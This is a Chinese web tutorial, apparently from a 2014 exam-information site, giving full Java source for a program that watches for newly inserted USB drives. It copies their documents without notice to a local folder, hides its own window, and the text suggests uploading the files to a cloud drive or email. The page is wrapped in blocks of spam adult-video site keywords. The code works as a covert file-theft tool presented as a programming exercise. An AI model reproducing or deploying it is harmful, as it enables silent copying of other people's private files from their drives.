中文字幕免费精品_亚洲视频自拍_亚洲综合国产激情另类一区_色综合咪咪久久

java實現(xiàn)u盤指定內(nèi)容的自動復(fù)制
來源:易賢網(wǎng) 閱讀:1662 次 日期:2014-09-05 17:25:42
溫馨提示:易賢網(wǎng)小編為您整理了“java實現(xiàn)u盤指定內(nèi)容的自動復(fù)制”,方便廣大網(wǎng)友查閱!

程序的功能是,檢查U盤,并將U盤的內(nèi)容自動拷貝到系統(tǒng)的某個盤符中。分享給大家,就當(dāng)作是練習(xí)io流的小練習(xí)。

這個小程序的實現(xiàn)方法如下:

1、程序運行后隔一斷時間就檢查系統(tǒng)的盤符有沒有增加,通過File.listRoots()可獲取系統(tǒng)存在的盤符。

2、如果盤符增加了,遍歷這個新增加的盤符,用字節(jié)流拷貝文件到指定的路徑。

需要注意的是,由于U盤的內(nèi)容可能很大,所以拷貝的時候最好指定要拷貝的文件類型,如ppt,doc,txt等等。

下面是這個小程序的相關(guān)代碼:

在CopyThread類中可以指定要復(fù)制的文件類型,大家在fileTypes數(shù)組中加入相應(yīng)的文件后綴名即可。如果要復(fù)制所有文件,將其設(shè)為null就行了。在CopyFileToSysRoot類中可以指定存儲的路徑,當(dāng)然,如果愿意的話,你可以將文件上傳到網(wǎng)盤,郵箱等等

一、USBMain類,程序入口:

import java.awt.event.ActionEvent;

import java.awt.event.ActionListener;

import javax.swing.JButton;

import javax.swing.JFrame;

public class USBMain {

public static void main(String[] args) {

USBMain u = new USBMain();

u.launchFrame();

//開啟盤符檢查線程

new CheckRootThread().start();

}

// 界面

private void launchFrame() {

final JFrame frame = new JFrame();

frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

frame.setLocation(450, 250);

JButton hide = new JButton("點擊隱藏窗口");

// 點擊按鈕后隱藏窗口事件監(jiān)聽

hide.addActionListener(new ActionListener() {

public void actionPerformed(ActionEvent e) {

frame.setVisible(false);

}

});

frame.add(hide);

frame.pack();

frame.setVisible(true);

}

}

二、CheckRootThread類,此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝。

import java.io.File;

//此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝

public class CheckRootThread extends Thread {

// 獲取系統(tǒng)盤符

private File[] sysRoot = File.listRoots();

public void run() {

File[] currentRoot = null;

while (true) {

// 當(dāng)前的系統(tǒng)盤符

currentRoot = File.listRoots();

if (currentRoot.length > sysRoot.length) {

for (int i = currentRoot.length - 1; i >= 0; i--) {

boolean isNewRoot = true;

for (int j = sysRoot.length - 1; j >= 0; j--) {

// 當(dāng)兩者盤符不同時,觸發(fā)新盤符文件的拷貝

if (currentRoot[i].equals(sysRoot[j])) {

isNewRoot = false;

}

}

if (isNewRoot) {

new CopyThread(currentRoot[i]).start();

}

}

}

sysRoot = File.listRoots();

//每5秒時間檢查一次系統(tǒng)盤符

try {

Thread.sleep(5000);

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}

三、CopyThread類,用于文件遍歷并選擇指定文件格式進(jìn)行復(fù)制:

import java.io.File;

//該類用于對新盤符文件的復(fù)制

public class CopyThread extends Thread {

// 設(shè)置要復(fù)制的文件類型,如果要復(fù)制所有格式的文件,將fileTypes設(shè)為null即可

private static String[] fileTypes = {"ppt","doc","txt","wps"};

// private static String[] fileTypes = null;

File file = null;

public CopyThread(File file) {

this.file = file;

}

public void run() {

listUsbFiles(file);

}

//遍歷盤符文件,并匹配文件復(fù)制

private void listUsbFiles(File ufile) {

File[] files = ufile.listFiles();

for (File f : files) {

if (f.isDirectory()) {

listUsbFiles(f);

} else {

if (fileTypeMatch(f))

new CopyFileToSysRoot(f).doCopy();

}

}

}

//匹配要復(fù)制的文件類型

public boolean fileTypeMatch(File f) {

//fileTypes為null時,則全部復(fù)制

if (fileTypes == null) {

return true;

} else {

for (String type : fileTypes) {

if (f.getName().endsWith("." + type)) {

return true;

}

}

}

return false;

}

}

四、CopyFileToSysRoot類,復(fù)制文件的IO流實現(xiàn):

import java.io.BufferedInputStream;

import java.io.BufferedOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileNotFoundException;

import java.io.FileOutputStream;

import java.io.IOException;

//文件復(fù)制IO

public class CopyFileToSysRoot {

// 復(fù)制文件保存路徑

private static final String PATH = "D:USB";

private File file = null;

public CopyFileToSysRoot(File file) {

this.file = file;

}

// 復(fù)制文件

public void doCopy() {

BufferedInputStream bis = null;

BufferedOutputStream bos = null;

try {

//創(chuàng)建目錄

File fPath = new File(getFileParent(file));

if (!fPath.exists()) {

fPath.mkdirs();

}

bis = new BufferedInputStream(new FileInputStream(file));

bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,

file.getName())));

byte[] buf = new byte[1024];

int len = 0;

while ((len = bis.read(buf)) != -1) {

bos.write(buf, 0, len);

bos.flush();

}

} catch (FileNotFoundException e) {

e.printStackTrace();

} catch (IOException e) {

e.printStackTrace();

} finally {

try {

if (bis != null)

bis.close();

} catch (IOException e) {

e.printStackTrace();

}

try {

if (bos != null)

bos.close();

} catch (IOException e) {

e.printStackTrace();

}

}

}

// 根據(jù)盤符中文件的路徑,創(chuàng)建復(fù)制文件的文件路徑

public String getFileParent(File f) {

StringBuilder sb = new StringBuilder(f.getParent());

int i = sb.indexOf(File.separator);

sb.replace(0, i, PATH);

return sb.toString();

}

}

更多信息請查看IT技術(shù)專欄

更多信息請查看網(wǎng)絡(luò)編程
易賢網(wǎng)手機(jī)網(wǎng)站地址:java實現(xiàn)u盤指定內(nèi)容的自動復(fù)制
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

2026上岸·考公考編培訓(xùn)報班

  • 報班類型
  • 姓名
  • 手機(jī)號
  • 驗證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機(jī)站點 | 投訴建議
工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報警專用圖標(biāo)
中文字幕免费精品_亚洲视频自拍_亚洲综合国产激情另类一区_色综合咪咪久久
老鸭窝亚洲一区二区三区| 欧美日韩国产影院| 亚洲影视在线播放| 欧美日韩综合另类| 亚洲国产精品精华液网站| 欧美在线免费观看视频| 欧美午夜不卡在线观看免费| 国产日韩av高清| 久久久久这里只有精品| 亚洲电影在线看| 欧美激情小视频| 一区二区三区欧美亚洲| 国产精品一区亚洲| 久久久久国产一区二区| 99视频精品在线| 国产日韩综合| 欧美激情女人20p| 一区二区三区四区五区视频 | 久久久噜噜噜久久| 亚洲国产成人91精品| 欧美日韩日韩| 久久久国产精品一区二区中文 | 欧美女人交a| 午夜欧美大尺度福利影院在线看| 国产婷婷色一区二区三区在线| 欧美资源在线| 在线视频观看日韩| 国产精品欧美风情| 久久久久一区二区三区| 99re8这里有精品热视频免费 | 9人人澡人人爽人人精品| 国产精品欧美日韩久久| 久久久久久噜噜噜久久久精品| 91久久精品日日躁夜夜躁欧美| 欧美精品18+| 久久久福利视频| 99综合电影在线视频| 精品成人免费| 国产免费亚洲高清| 欧美日韩国产经典色站一区二区三区| 欧美一区国产一区| 亚洲婷婷在线| 日韩亚洲欧美中文三级| 91久久精品日日躁夜夜躁国产| 国产精品亚洲第一区在线暖暖韩国| 久久久久国产精品麻豆ai换脸| 这里只有视频精品| 在线免费观看日本一区| 欧美日韩亚洲国产一区| 欧美激情久久久久| 久久先锋资源| 久久er99精品| 亚洲欧洲午夜| 国产精品蜜臀在线观看| 欧美日本三区| 美女久久一区| 久久久五月天| 欧美一区二区精品| 夜夜嗨av一区二区三区网页| 亚洲欧洲精品天堂一级| 亚洲国产精品视频| 亚洲精品麻豆| a4yy欧美一区二区三区| 中国成人黄色视屏| 野花国产精品入口| 日韩网站免费观看| 亚洲国产精品成人va在线观看| 国产乱人伦精品一区二区 | 久久久久久久国产| 亚洲欧美影音先锋| 欧美亚洲三级| 香蕉乱码成人久久天堂爱免费| 亚洲一区影院| 午夜影院日韩| 久久亚洲影音av资源网| 免费在线欧美黄色| 欧美二区乱c少妇| 欧美激情一区二区| 欧美日韩成人精品| 国产精品―色哟哟| 国产视频一区在线| 国产伦精品一区二区三区视频孕妇 | 你懂的成人av| 欧美成人激情在线| 欧美精品福利在线| 欧美日韩精品一区二区| 欧美色视频一区| 国产精品www.| 国产一区二区中文字幕免费看| 国产在线视频欧美一区二区三区| 亚洲第一综合天堂另类专| 亚洲国产一区二区视频| 亚洲欧美日韩直播| 久久精品99久久香蕉国产色戒| 亚洲一区久久| 国产精品成人观看视频免费| 欧美ab在线视频| 国产精品99久久久久久宅男| 久久久青草婷婷精品综合日韩| 亚洲小说区图片区| 亚洲成色www久久网站| 欧美性一二三区| 韩国av一区二区三区四区| 亚洲电影免费在线| 欧美午夜精品理论片a级按摩| 亚洲视频综合| 久久中文字幕一区二区三区| 浪潮色综合久久天堂| 国产精品香蕉在线观看| 午夜精品理论片| 一区二区三区视频观看| 亚洲自拍偷拍网址| 国产精品中文字幕在线观看| 亚洲精品欧美精品| 欧美日韩三级视频| 亚洲看片网站| 国产区精品视频| 午夜在线视频一区二区区别| 欧美色视频在线| 美国三级日本三级久久99| 国产色产综合色产在线视频| 欧美在线视频免费观看| 99riav久久精品riav| 日韩亚洲欧美一区二区三区| 国产精品女人久久久久久| 国产视频不卡| 亚洲美女精品久久| 在线不卡a资源高清| 亚洲激情成人在线| 有码中文亚洲精品| 亚洲裸体视频| 黄色亚洲在线| 亚洲欧美在线免费| 欧美日韩精品一区二区天天拍小说| 亚洲一区二区少妇| 亚洲男人天堂2024| 欧美日韩第一页| 国产农村妇女精品一二区| 国产一区二区三区网站| 亚洲国产精选| 欧美在线网站| 国产精品久久久久久久电影 | 欧美激情在线播放| 欧美美女操人视频| 欧美性事免费在线观看| 中日韩美女免费视频网址在线观看 | 亚洲第一二三四五区| 一区二区三区日韩精品视频| 欧美精品午夜| 精品动漫3d一区二区三区免费| 一本色道久久综合| 欧美国产免费| 国内精品久久久久久| 亚洲欧美一区二区视频| 欧美色精品天天在线观看视频| 依依成人综合视频| 久久久国产精品一区二区中文 | 国产精品日本| 亚洲一区二区三区四区视频 | 亚洲美女视频在线观看| 欧美在线一区二区三区| 国产精品福利在线| 亚洲美女黄色片| 国产欧美日韩综合| 午夜精品福利电影| 国产日韩欧美二区| 欧美精品二区| 中文在线资源观看视频网站免费不卡| 欧美成人免费一级人片100| 亚洲国产日韩一级| 国产欧美日韩一区二区三区在线 | 欧美日韩成人一区| 亚洲天堂av在线免费| 国产精品户外野外| 欧美久久久久中文字幕| 亚洲视频在线观看网站| 国产麻豆综合| 欧美体内谢she精2性欧美| 在线亚洲国产精品网站| 欧美精品aa| 久久综合影视| 欧美在线日韩精品| 亚洲欧洲综合| 国产乱码精品一区二区三区av | 国产九九视频一区二区三区| 久久福利电影| 亚洲综合视频网| 亚洲国产精品成人va在线观看| 国产一区二区视频在线观看 | 樱桃国产成人精品视频| 国产亚洲欧美色| 欧美人与禽性xxxxx杂性| 久久频这里精品99香蕉| 久久不射中文字幕| 亚洲一区二区在线免费观看视频| 国内精品一区二区三区| 欧美视频中文字幕| 久久av在线看| 欧美国产1区2区| 欧美区国产区|